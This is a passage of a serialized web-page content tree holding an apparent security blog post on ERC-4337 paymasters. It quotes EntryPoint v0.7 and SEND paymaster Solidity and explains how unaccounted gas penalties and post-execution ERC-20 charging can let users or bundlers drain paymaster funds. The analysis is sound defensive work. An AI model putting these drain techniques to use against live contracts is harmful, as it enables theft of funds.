",{"type":21,"tag":85,"props":104781,"children":104782},{"style":169},[104783],{"type":26,"value":10877},{"type":21,"tag":85,"props":104785,"children":104786},{"style":2285},[104787],{"type":26,"value":2830},{"type":21,"tag":85,"props":104789,"children":104790},{"style":114},[104791],{"type":26,"value":15222},{"type":21,"tag":85,"props":104793,"children":104794},{"class":87,"line":88693},[104795,104799,104803],{"type":21,"tag":85,"props":104796,"children":104797},{"style":114},[104798],{"type":26,"value":104649},{"type":21,"tag":85,"props":104800,"children":104801},{"style":1021},[104802],{"type":26,"value":104654},{"type":21,"tag":85,"props":104804,"children":104805},{"style":114},[104806],{"type":26,"value":104807},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":21,"tag":85,"props":104809,"children":104810},{"class":87,"line":102039},[104811],{"type":21,"tag":85,"props":104812,"children":104813},{"style":114},[104814],{"type":26,"value":59342},{"type":21,"tag":85,"props":104816,"children":104817},{"class":87,"line":102047},[104818],{"type":21,"tag":85,"props":104819,"children":104820},{"emptyLinePlaceholder":16},[104821],{"type":26,"value":703},{"type":21,"tag":85,"props":104823,"children":104824},{"class":87,"line":102055},[104825,104830,104835],{"type":21,"tag":85,"props":104826,"children":104827},{"style":2885},[104828],{"type":26,"value":104829},"            emit",{"type":21,"tag":85,"props":104831,"children":104832},{"style":1021},[104833],{"type":26,"value":104834}," UserOperationSponsored",{"type":21,"tag":85,"props":104836,"children":104837},{"style":114},[104838],{"type":26,"value":104839},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":21,"tag":85,"props":104841,"children":104842},{"class":87,"line":102063},[104843,104848],{"type":21,"tag":85,"props":104844,"children":104845},{"style":1021},[104846],{"type":26,"value":104847},"            refillEntryPointDeposit",{"type":21,"tag":85,"props":104849,"children":104850},{"style":114},[104851],{"type":26,"value":104852},"(_cachedPrice);\n",{"type":21,"tag":85,"props":104854,"children":104855},{"class":87,"line":102091},[104856],{"type":21,"tag":85,"props":104857,"children":104858},{"style":114},[104859],{"type":26,"value":4118},{"type":21,"tag":85,"props":104861,"children":104863},{"class":87,"line":104862},67,[104864],{"type":21,"tag":85,"props":104865,"children":104866},{"style":114},[104867],{"type":26,"value":507},{"type":21,"tag":85,"props":104869,"children":104871},{"class":87,"line":104870},68,[104872],{"type":21,"tag":85,"props":104873,"children":104874},{"style":114},[104875],{"type":26,"value":2671},{"type":21,"tag":22,"props":104877,"children":104878},{},[104879,104881,104887,104889,104894,104896,104902],{"type":26,"value":104880},"Looking at the code above, during ",{"type":21,"tag":66,"props":104882,"children":104884},{"className":104883},[],[104885],{"type":26,"value":104886},"validatePaymasterUserOp",{"type":26,"value":104888},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":21,"tag":66,"props":104890,"children":104892},{"className":104891},[],[104893],{"type":26,"value":102945},{"type":26,"value":104895}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":21,"tag":66,"props":104897,"children":104899},{"className":104898},[],[104900],{"type":26,"value":104901},"postOp",{"type":26,"value":104903},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":21,"tag":22,"props":104905,"children":104906},{},[104907,104909,104914,104916,104923],{"type":26,"value":104908},"However, there is a critical oversight: ",{"type":21,"tag":873,"props":104910,"children":104911},{},[104912],{"type":26,"value":104913},"the code does not account for gas penalties",{"type":26,"value":104915},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":21,"tag":335,"props":104917,"children":104920},{"href":104918,"rel":104919},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[339],[104921],{"type":26,"value":104922},"penalties incurred",{"type":26,"value":104924}," from differences between the execution gas limit and actual execution gas.",{"type":21,"tag":22,"props":104926,"children":104927},{},[104928],{"type":26,"value":104929},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":21,"tag":22,"props":104931,"children":104932},{},[104933,104935,104940],{"type":26,"value":104934},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":21,"tag":66,"props":104936,"children":104938},{"className":104937},[],[104939],{"type":26,"value":102644},{"type":26,"value":104941}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":21,"tag":54,"props":104943,"children":104945},{"id":104944},"incorrect-erc-20-handling",[104946],{"type":21,"tag":873,"props":104947,"children":104948},{},[104949],{"type":26,"value":104950},"Incorrect ERC-20 Handling",{"type":21,"tag":22,"props":104952,"children":104953},{},[104954],{"type":26,"value":104955},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":21,"tag":22,"props":104957,"children":104958},{},[104959,104960,104965,104967,104972],{"type":26,"value":45750},{"type":21,"tag":66,"props":104961,"children":104963},{"className":104962},[],[104964],{"type":26,"value":102725},{"type":26,"value":104966}," flow above, we can see that paymasters have two key interaction points during a ",{"type":21,"tag":66,"props":104968,"children":104970},{"className":104969},[],[104971],{"type":26,"value":102644},{"type":26,"value":104973},"'s lifecycle:",{"type":21,"tag":841,"props":104975,"children":104976},{},[104977,104987],{"type":21,"tag":845,"props":104978,"children":104979},{},[104980,104982],{"type":26,"value":104981},"During validation via ",{"type":21,"tag":66,"props":104983,"children":104985},{"className":104984},[],[104986],{"type":26,"value":102832},{"type":21,"tag":845,"props":104988,"children":104989},{},[104990,104992],{"type":26,"value":104991},"After execution via ",{"type":21,"tag":66,"props":104993,"children":104995},{"className":104994},[],[104996],{"type":26,"value":102843},{"type":21,"tag":22,"props":104998,"children":104999},{},[105000],{"type":26,"value":105001},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":21,"tag":10022,"props":105003,"children":105005},{"id":105004},"_1-pre-payment-with-refund-pattern",[105006],{"type":26,"value":105007},"1. Pre-Payment with Refund Pattern",{"type":21,"tag":22,"props":105009,"children":105010},{},[105011,105013,105018,105020,105025,105027,105033,105034,105040,105042,105047,105049,105054,105056,105061],{"type":26,"value":105012},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":21,"tag":66,"props":105014,"children":105016},{"className":105015},[],[105017],{"type":26,"value":102832},{"type":26,"value":105019},". After execution completes, ",{"type":21,"tag":66,"props":105021,"children":105023},{"className":105022},[],[105024],{"type":26,"value":102843},{"type":26,"value":105026}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":21,"tag":66,"props":105028,"children":105030},{"className":105029},[],[105031],{"type":26,"value":105032},"SEND",{"type":26,"value":11408},{"type":21,"tag":66,"props":105035,"children":105037},{"className":105036},[],[105038],{"type":26,"value":105039},"Circle",{"type":26,"value":105041}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":21,"tag":66,"props":105043,"children":105045},{"className":105044},[],[105046],{"type":26,"value":102673},{"type":26,"value":105048},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":21,"tag":873,"props":105050,"children":105051},{},[105052],{"type":26,"value":105053},"before",{"type":26,"value":105055}," execution (specifically during ",{"type":21,"tag":66,"props":105057,"children":105059},{"className":105058},[],[105060],{"type":26,"value":104886},{"type":26,"value":21170},{"type":21,"tag":10022,"props":105063,"children":105065},{"id":105064},"_2-post-execution-charging-pattern",[105066],{"type":26,"value":105067},"2. Post-Execution Charging Pattern",{"type":21,"tag":22,"props":105069,"children":105070},{},[105071,105073,105078,105080,105085,105087,105092,105094,105099],{"type":26,"value":105072},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":21,"tag":66,"props":105074,"children":105076},{"className":105075},[],[105077],{"type":26,"value":102832},{"type":26,"value":105079},", the actual token payment is calculated and collected in ",{"type":21,"tag":66,"props":105081,"children":105083},{"className":105082},[],[105084],{"type":26,"value":102843},{"type":26,"value":105086}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":21,"tag":66,"props":105088,"children":105090},{"className":105089},[],[105091],{"type":26,"value":102644},{"type":26,"value":105093},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":21,"tag":66,"props":105095,"children":105097},{"className":105096},[],[105098],{"type":26,"value":102945},{"type":26,"value":105100},". This means users could interact with the paymaster without any prior setup.",{"type":21,"tag":22,"props":105102,"children":105103},{},[105104,105106,105111,105113,105119,105121,105127,105129,105134],{"type":26,"value":105105},"This approach used to work in ",{"type":21,"tag":66,"props":105107,"children":105109},{"className":105108},[],[105110],{"type":26,"value":102725},{"type":26,"value":105112}," version ",{"type":21,"tag":66,"props":105114,"children":105116},{"className":105115},[],[105117],{"type":26,"value":105118},"v0.6",{"type":26,"value":105120},", but the pattern no longer works in ",{"type":21,"tag":66,"props":105122,"children":105124},{"className":105123},[],[105125],{"type":26,"value":105126},"v0.7",{"type":26,"value":105128},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":21,"tag":66,"props":105130,"children":105132},{"className":105131},[],[105133],{"type":26,"value":105126},{"type":26,"value":105135}," handles the execution phase:",{"type":21,"tag":75,"props":105137,"children":105139},{"className":5245,"code":105138,"language":5244,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[105140],{"type":21,"tag":66,"props":105141,"children":105142},{"__ignoreMap":7},[105143,105159,105175,105195,105212,105219,105232,105256,105264,105277,105284,105291,105312,105351,105388,105400,105407,105443,105450,105471,105560,105589,105596,105609,105616,105636,105643,105664,105672,105680,105707,105735,105743,105786,105806,105819,105841,105857,105872,105879,105899,105907,105915,105923,105931,105939,105946,105953],{"type":21,"tag":85,"props":105144,"children":105145},{"class":87,"line":88},[105146,105150,105155],{"type":21,"tag":85,"props":105147,"children":105148},{"style":102},[105149],{"type":26,"value":90293},{"type":21,"tag":85,"props":105151,"children":105152},{"style":1021},[105153],{"type":26,"value":105154}," _executeUserOp",{"type":21,"tag":85,"props":105156,"children":105157},{"style":114},[105158],{"type":26,"value":1029},{"type":21,"tag":85,"props":105160,"children":105161},{"class":87,"line":98},[105162,105166,105171],{"type":21,"tag":85,"props":105163,"children":105164},{"style":108},[105165],{"type":26,"value":90471},{"type":21,"tag":85,"props":105167,"children":105168},{"style":120},[105169],{"type":26,"value":105170}," opIndex",{"type":21,"tag":85,"props":105172,"children":105173},{"style":114},[105174],{"type":26,"value":182},{"type":21,"tag":85,"props":105176,"children":105177},{"class":87,"line":151},[105178,105183,105187,105191],{"type":21,"tag":85,"props":105179,"children":105180},{"style":102},[105181],{"type":26,"value":105182},"        PackedUserOperation",{"type":21,"tag":85,"props":105184,"children":105185},{"style":102},[105186],{"type":26,"value":103474},{"type":21,"tag":85,"props":105188,"children":105189},{"style":120},[105190],{"type":26,"value":103479},{"type":21,"tag":85,"props":105192,"children":105193},{"style":114},[105194],{"type":26,"value":182},{"type":21,"tag":85,"props":105196,"children":105197},{"class":87,"line":160},[105198,105203,105207],{"type":21,"tag":85,"props":105199,"children":105200},{"style":102},[105201],{"type":26,"value":105202},"        UserOpInfo",{"type":21,"tag":85,"props":105204,"children":105205},{"style":102},[105206],{"type":26,"value":103542},{"type":21,"tag":85,"props":105208,"children":105209},{"style":120},[105210],{"type":26,"value":105211}," opInfo\n",{"type":21,"tag":85,"props":105213,"children":105214},{"class":87,"line":185},[105215],{"type":21,"tag":85,"props":105216,"children":105217},{"style":114},[105218],{"type":26,"value":24359},{"type":21,"tag":85,"props":105220,"children":105221},{"class":87,"line":501},[105222,105227],{"type":21,"tag":85,"props":105223,"children":105224},{"style":102},[105225],{"type":26,"value":105226},"    internal",{"type":21,"tag":85,"props":105228,"children":105229},{"style":102},[105230],{"type":26,"value":105231}," virtual\n",{"type":21,"tag":85,"props":105233,"children":105234},{"class":87,"line":697},[105235,105239,105243,105247,105252],{"type":21,"tag":85,"props":105236,"children":105237},{"style":2885},[105238],{"type":26,"value":46963},{"type":21,"tag":85,"props":105240,"children":105241},{"style":114},[105242],{"type":26,"value":717},{"type":21,"tag":85,"props":105244,"children":105245},{"style":108},[105246],{"type":26,"value":46622},{"type":21,"tag":85,"props":105248,"children":105249},{"style":120},[105250],{"type":26,"value":105251}," collected",{"type":21,"tag":85,"props":105253,"children":105254},{"style":114},[105255],{"type":26,"value":15222},{"type":21,"tag":85,"props":105257,"children":105258},{"class":87,"line":706},[105259],{"type":21,"tag":85,"props":105260,"children":105261},{"style":114},[105262],{"type":26,"value":105263},"    [...]\n",{"type":21,"tag":85,"props":105265,"children":105266},{"class":87,"line":1100},[105267,105272],{"type":21,"tag":85,"props":105268,"children":105269},{"style":108},[105270],{"type":26,"value":105271},"        bool",{"type":21,"tag":85,"props":105273,"children":105274},{"style":114},[105275],{"type":26,"value":105276}," success;\n",{"type":21,"tag":85,"props":105278,"children":105279},{"class":87,"line":1339},[105280],{"type":21,"tag":85,"props":105281,"children":105282},{"style":114},[105283],{"type":26,"value":32104},{"type":21,"tag":85,"props":105285,"children":105286},{"class":87,"line":1348},[105287],{"type":21,"tag":85,"props":105288,"children":105289},{"style":114},[105290],{"type":26,"value":105263},{"type":21,"tag":85,"props":105292,"children":105293},{"class":87,"line":1386},[105294,105298,105303,105307],{"type":21,"tag":85,"props":105295,"children":105296},{"style":2885},[105297],{"type":26,"value":59258},{"type":21,"tag":85,"props":105299,"children":105300},{"style":114},[105301],{"type":26,"value":105302}," (methodSig ",{"type":21,"tag":85,"props":105304,"children":105305},{"style":169},[105306],{"type":26,"value":2936},{"type":21,"tag":85,"props":105308,"children":105309},{"style":114},[105310],{"type":26,"value":105311}," IAccountExecute.executeUserOp.selector) {\n",{"type":21,"tag":85,"props":105313,"children":105314},{"class":87,"line":1394},[105315,105320,105324,105329,105333,105337,105341,105346],{"type":21,"tag":85,"props":105316,"children":105317},{"style":108},[105318],{"type":26,"value":105319},"                bytes",{"type":21,"tag":85,"props":105321,"children":105322},{"style":102},[105323],{"type":26,"value":103542},{"type":21,"tag":85,"props":105325,"children":105326},{"style":114},[105327],{"type":26,"value":105328}," executeUserOp ",{"type":21,"tag":85,"props":105330,"children":105331},{"style":169},[105332],{"type":26,"value":741},{"type":21,"tag":85,"props":105334,"children":105335},{"style":102},[105336],{"type":26,"value":104139},{"type":21,"tag":85,"props":105338,"children":105339},{"style":114},[105340],{"type":26,"value":73},{"type":21,"tag":85,"props":105342,"children":105343},{"style":1021},[105344],{"type":26,"value":105345},"encodeCall",{"type":21,"tag":85,"props":105347,"children":105348},{"style":114},[105349],{"type":26,"value":105350},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":21,"tag":85,"props":105352,"children":105353},{"class":87,"line":1402},[105354,105359,105363,105367,105371,105375,105379,105383],{"type":21,"tag":85,"props":105355,"children":105356},{"style":114},[105357],{"type":26,"value":105358},"                innerCall ",{"type":21,"tag":85,"props":105360,"children":105361},{"style":169},[105362],{"type":26,"value":741},{"type":21,"tag":85,"props":105364,"children":105365},{"style":102},[105366],{"type":26,"value":104139},{"type":21,"tag":85,"props":105368,"children":105369},{"style":114},[105370],{"type":26,"value":73},{"type":21,"tag":85,"props":105372,"children":105373},{"style":1021},[105374],{"type":26,"value":105345},{"type":21,"tag":85,"props":105376,"children":105377},{"style":114},[105378],{"type":26,"value":1439},{"type":21,"tag":85,"props":105380,"children":105381},{"style":102},[105382],{"type":26,"value":18116},{"type":21,"tag":85,"props":105384,"children":105385},{"style":114},[105386],{"type":26,"value":105387},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":21,"tag":85,"props":105389,"children":105390},{"class":87,"line":3145},[105391,105395],{"type":21,"tag":85,"props":105392,"children":105393},{"style":114},[105394],{"type":26,"value":71054},{"type":21,"tag":85,"props":105396,"children":105397},{"style":2885},[105398],{"type":26,"value":105399},"else\n",{"type":21,"tag":85,"props":105401,"children":105402},{"class":87,"line":3246},[105403],{"type":21,"tag":85,"props":105404,"children":105405},{"style":114},[105406],{"type":26,"value":32140},{"type":21,"tag":85,"props":105408,"children":105409},{"class":87,"line":3255},[105410,105414,105418,105422,105426,105430,105434,105438],{"type":21,"tag":85,"props":105411,"children":105412},{"style":114},[105413],{"type":26,"value":105358},{"type":21,"tag":85,"props":105415,"children":105416},{"style":169},[105417],{"type":26,"value":741},{"type":21,"tag":85,"props":105419,"children":105420},{"style":102},[105421],{"type":26,"value":104139},{"type":21,"tag":85,"props":105423,"children":105424},{"style":114},[105425],{"type":26,"value":73},{"type":21,"tag":85,"props":105427,"children":105428},{"style":1021},[105429],{"type":26,"value":105345},{"type":21,"tag":85,"props":105431,"children":105432},{"style":114},[105433],{"type":26,"value":1439},{"type":21,"tag":85,"props":105435,"children":105436},{"style":102},[105437],{"type":26,"value":18116},{"type":21,"tag":85,"props":105439,"children":105440},{"style":114},[105441],{"type":26,"value":105442},".innerHandleOp, (callData, opInfo, context));\n",{"type":21,"tag":85,"props":105444,"children":105445},{"class":87,"line":3286},[105446],{"type":21,"tag":85,"props":105447,"children":105448},{"style":114},[105449],{"type":26,"value":59342},{"type":21,"tag":85,"props":105451,"children":105452},{"class":87,"line":3295},[105453,105458,105462,105467],{"type":21,"tag":85,"props":105454,"children":105455},{"style":1021},[105456],{"type":26,"value":105457},"            assembly",{"type":21,"tag":85,"props":105459,"children":105460},{"style":114},[105461],{"type":26,"value":717},{"type":21,"tag":85,"props":105463,"children":105464},{"style":5026},[105465],{"type":26,"value":105466},"\"memory-safe\"",{"type":21,"tag":85,"props":105468,"children":105469},{"style":114},[105470],{"type":26,"value":15222},{"type":21,"tag":85,"props":105472,"children":105473},{"class":87,"line":3308},[105474,105479,105483,105487,105491,105496,105500,105504,105508,105512,105516,105520,105525,105530,105534,105539,105544,105548,105552,105556],{"type":21,"tag":85,"props":105475,"children":105476},{"style":114},[105477],{"type":26,"value":105478},"                success ",{"type":21,"tag":85,"props":105480,"children":105481},{"style":169},[105482],{"type":26,"value":22035},{"type":21,"tag":85,"props":105484,"children":105485},{"style":1021},[105486],{"type":26,"value":41412},{"type":21,"tag":85,"props":105488,"children":105489},{"style":114},[105490],{"type":26,"value":1439},{"type":21,"tag":85,"props":105492,"children":105493},{"style":1021},[105494],{"type":26,"value":105495},"gas",{"type":21,"tag":85,"props":105497,"children":105498},{"style":114},[105499],{"type":26,"value":18799},{"type":21,"tag":85,"props":105501,"children":105502},{"style":108},[105503],{"type":26,"value":33086},{"type":21,"tag":85,"props":105505,"children":105506},{"style":114},[105507],{"type":26,"value":18799},{"type":21,"tag":85,"props":105509,"children":105510},{"style":2285},[105511],{"type":26,"value":4789},{"type":21,"tag":85,"props":105513,"children":105514},{"style":114},[105515],{"type":26,"value":256},{"type":21,"tag":85,"props":105517,"children":105518},{"style":1021},[105519],{"type":26,"value":10052},{"type":21,"tag":85,"props":105521,"children":105522},{"style":114},[105523],{"type":26,"value":105524},"(innerCall, ",{"type":21,"tag":85,"props":105526,"children":105527},{"style":2285},[105528],{"type":26,"value":105529},"0x20",{"type":21,"tag":85,"props":105531,"children":105532},{"style":114},[105533],{"type":26,"value":15596},{"type":21,"tag":85,"props":105535,"children":105536},{"style":1021},[105537],{"type":26,"value":105538},"mload",{"type":21,"tag":85,"props":105540,"children":105541},{"style":114},[105542],{"type":26,"value":105543},"(innerCall), ",{"type":21,"tag":85,"props":105545,"children":105546},{"style":2285},[105547],{"type":26,"value":4789},{"type":21,"tag":85,"props":105549,"children":105550},{"style":114},[105551],{"type":26,"value":256},{"type":21,"tag":85,"props":105553,"children":105554},{"style":2285},[105555],{"type":26,"value":60804},{"type":21,"tag":85,"props":105557,"children":105558},{"style":114},[105559],{"type":26,"value":2485},{"type":21,"tag":85,"props":105561,"children":105562},{"class":87,"line":3333},[105563,105568,105572,105577,105581,105585],{"type":21,"tag":85,"props":105564,"children":105565},{"style":114},[105566],{"type":26,"value":105567},"                collected ",{"type":21,"tag":85,"props":105569,"children":105570},{"style":169},[105571],{"type":26,"value":22035},{"type":21,"tag":85,"props":105573,"children":105574},{"style":1021},[105575],{"type":26,"value":105576}," mload",{"type":21,"tag":85,"props":105578,"children":105579},{"style":114},[105580],{"type":26,"value":1439},{"type":21,"tag":85,"props":105582,"children":105583},{"style":2285},[105584],{"type":26,"value":4789},{"type":21,"tag":85,"props":105586,"children":105587},{"style":114},[105588],{"type":26,"value":2485},{"type":21,"tag":85,"props":105590,"children":105591},{"class":87,"line":3369},[105592],{"type":21,"tag":85,"props":105593,"children":105594},{"style":114},[105595],{"type":26,"value":59342},{"type":21,"tag":85,"props":105597,"children":105598},{"class":87,"line":3377},[105599,105604],{"type":21,"tag":85,"props":105600,"children":105601},{"style":1021},[105602],{"type":26,"value":105603},"            _restoreFreePtr",{"type":21,"tag":85,"props":105605,"children":105606},{"style":114},[105607],{"type":26,"value":105608},"(saveFreePtr);\n",{"type":21,"tag":85,"props":105610,"children":105611},{"class":87,"line":3386},[105612],{"type":21,"tag":85,"props":105613,"children":105614},{"style":114},[105615],{"type":26,"value":4118},{"type":21,"tag":85,"props":105617,"children":105618},{"class":87,"line":3394},[105619,105623,105627,105631],{"type":21,"tag":85,"props":105620,"children":105621},{"style":2885},[105622],{"type":26,"value":4044},{"type":21,"tag":85,"props":105624,"children":105625},{"style":114},[105626],{"type":26,"value":717},{"type":21,"tag":85,"props":105628,"children":105629},{"style":169},[105630],{"type":26,"value":21049},{"type":21,"tag":85,"props":105632,"children":105633},{"style":114},[105634],{"type":26,"value":105635},"success) {\n",{"type":21,"tag":85,"props":105637,"children":105638},{"class":87,"line":3410},[105639],{"type":21,"tag":85,"props":105640,"children":105641},{"style":114},[105642],{"type":26,"value":105263},{"type":21,"tag":85,"props":105644,"children":105645},{"class":87,"line":3427},[105646,105650,105655,105659],{"type":21,"tag":85,"props":105647,"children":105648},{"style":2885},[105649],{"type":26,"value":59258},{"type":21,"tag":85,"props":105651,"children":105652},{"style":114},[105653],{"type":26,"value":105654}," (innerRevertCode ",{"type":21,"tag":85,"props":105656,"children":105657},{"style":169},[105658],{"type":26,"value":2936},{"type":21,"tag":85,"props":105660,"children":105661},{"style":114},[105662],{"type":26,"value":105663}," INNER_OUT_OF_GAS) {\n",{"type":21,"tag":85,"props":105665,"children":105666},{"class":87,"line":3445},[105667],{"type":21,"tag":85,"props":105668,"children":105669},{"style":92},[105670],{"type":26,"value":105671},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":21,"tag":85,"props":105673,"children":105674},{"class":87,"line":3490},[105675],{"type":21,"tag":85,"props":105676,"children":105677},{"style":92},[105678],{"type":26,"value":105679},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":21,"tag":85,"props":105681,"children":105682},{"class":87,"line":3596},[105683,105688,105693,105698,105703],{"type":21,"tag":85,"props":105684,"children":105685},{"style":2885},[105686],{"type":26,"value":105687},"                revert",{"type":21,"tag":85,"props":105689,"children":105690},{"style":1021},[105691],{"type":26,"value":105692}," FailedOp",{"type":21,"tag":85,"props":105694,"children":105695},{"style":114},[105696],{"type":26,"value":105697},"(opIndex, ",{"type":21,"tag":85,"props":105699,"children":105700},{"style":5026},[105701],{"type":26,"value":105702},"\"AA95 out of gas\"",{"type":21,"tag":85,"props":105704,"children":105705},{"style":114},[105706],{"type":26,"value":777},{"type":21,"tag":85,"props":105708,"children":105709},{"class":87,"line":23938},[105710,105714,105718,105722,105726,105730],{"type":21,"tag":85,"props":105711,"children":105712},{"style":114},[105713],{"type":26,"value":71054},{"type":21,"tag":85,"props":105715,"children":105716},{"style":2885},[105717],{"type":26,"value":4086},{"type":21,"tag":85,"props":105719,"children":105720},{"style":2885},[105721],{"type":26,"value":16208},{"type":21,"tag":85,"props":105723,"children":105724},{"style":114},[105725],{"type":26,"value":105654},{"type":21,"tag":85,"props":105727,"children":105728},{"style":169},[105729],{"type":26,"value":2936},{"type":21,"tag":85,"props":105731,"children":105732},{"style":114},[105733],{"type":26,"value":105734}," INNER_REVERT_LOW_PREFUND) {\n",{"type":21,"tag":85,"props":105736,"children":105737},{"class":87,"line":23973},[105738],{"type":21,"tag":85,"props":105739,"children":105740},{"style":92},[105741],{"type":26,"value":105742},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":21,"tag":85,"props":105744,"children":105745},{"class":87,"line":23981},[105746,105750,105755,105759,105764,105768,105773,105777,105781],{"type":21,"tag":85,"props":105747,"children":105748},{"style":108},[105749],{"type":26,"value":103922},{"type":21,"tag":85,"props":105751,"children":105752},{"style":114},[105753],{"type":26,"value":105754}," actualGas ",{"type":21,"tag":85,"props":105756,"children":105757},{"style":169},[105758],{"type":26,"value":741},{"type":21,"tag":85,"props":105760,"children":105761},{"style":114},[105762],{"type":26,"value":105763}," preGas ",{"type":21,"tag":85,"props":105765,"children":105766},{"style":169},[105767],{"type":26,"value":5097},{"type":21,"tag":85,"props":105769,"children":105770},{"style":102},[105771],{"type":26,"value":105772}," gasleft",{"type":21,"tag":85,"props":105774,"children":105775},{"style":114},[105776],{"type":26,"value":14461},{"type":21,"tag":85,"props":105778,"children":105779},{"style":169},[105780],{"type":26,"value":5151},{"type":21,"tag":85,"props":105782,"children":105783},{"style":114},[105784],{"type":26,"value":105785}," opInfo.preOpGas;\n",{"type":21,"tag":85,"props":105787,"children":105788},{"class":87,"line":23989},[105789,105793,105797,105801],{"type":21,"tag":85,"props":105790,"children":105791},{"style":108},[105792],{"type":26,"value":103922},{"type":21,"tag":85,"props":105794,"children":105795},{"style":114},[105796],{"type":26,"value":104569},{"type":21,"tag":85,"props":105798,"children":105799},{"style":169},[105800],{"type":26,"value":741},{"type":21,"tag":85,"props":105802,"children":105803},{"style":114},[105804],{"type":26,"value":105805}," opInfo.prefund;\n",{"type":21,"tag":85,"props":105807,"children":105808},{"class":87,"line":23998},[105809,105814],{"type":21,"tag":85,"props":105810,"children":105811},{"style":1021},[105812],{"type":26,"value":105813},"                _emitPrefundTooLow",{"type":21,"tag":85,"props":105815,"children":105816},{"style":114},[105817],{"type":26,"value":105818},"(opInfo);\n",{"type":21,"tag":85,"props":105820,"children":105821},{"class":87,"line":24040},[105822,105827,105832,105836],{"type":21,"tag":85,"props":105823,"children":105824},{"style":1021},[105825],{"type":26,"value":105826},"                _emitUserOperationEvent",{"type":21,"tag":85,"props":105828,"children":105829},{"style":114},[105830],{"type":26,"value":105831},"(opInfo, ",{"type":21,"tag":85,"props":105833,"children":105834},{"style":102},[105835],{"type":26,"value":2530},{"type":21,"tag":85,"props":105837,"children":105838},{"style":114},[105839],{"type":26,"value":105840},", actualGasCost, actualGas);\n",{"type":21,"tag":85,"props":105842,"children":105843},{"class":87,"line":24073},[105844,105848,105852],{"type":21,"tag":85,"props":105845,"children":105846},{"style":114},[105847],{"type":26,"value":105567},{"type":21,"tag":85,"props":105849,"children":105850},{"style":169},[105851],{"type":26,"value":741},{"type":21,"tag":85,"props":105853,"children":105854},{"style":114},[105855],{"type":26,"value":105856}," 